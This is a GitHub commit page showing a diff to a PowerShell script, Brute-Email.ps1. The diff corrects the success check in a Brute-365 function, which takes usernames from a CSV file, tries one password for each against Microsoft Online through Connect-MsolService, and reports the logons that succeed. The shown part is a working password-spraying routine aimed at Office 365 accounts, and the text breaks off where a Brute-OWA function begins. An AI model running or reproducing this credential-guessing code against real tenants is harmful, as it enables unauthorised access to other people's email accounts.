Update Brute-Email.ps1

This commit is contained in:
rvrsh3ll
2016-12-12 09:20:44 -08:00
committed by GitHub
parent 0ac225dd42
commit ff471d7c3d
+9 -9
View File
@@ -34,17 +34,17 @@ function Brute-365 {
$usernames = Import-CSV $csv
foreach($user in $usernames) {
$username = $($user.Username)
$secpasswd = ConvertTo-SecureString $password -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ($username, $secpasswd)
$connect = Connect-MsolService -Credential $mycreds
if ($connect -contains 'Authentication Error') {
Write-Output "Logon Successful for $username"
if ($Beep) {
[console]::beep(2000,500)
}
}
}
}
$secpasswd = ConvertTo-SecureString $password -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ($username, $secpasswd)
$connect = Connect-MsolService -Credential $mycreds
if ($connect -eq $null) {
Write-Output "Logon Successful for $username"
if ($Beep) {
[console]::beep(2000,500)
}
}
}
function Brute-OWA {
<#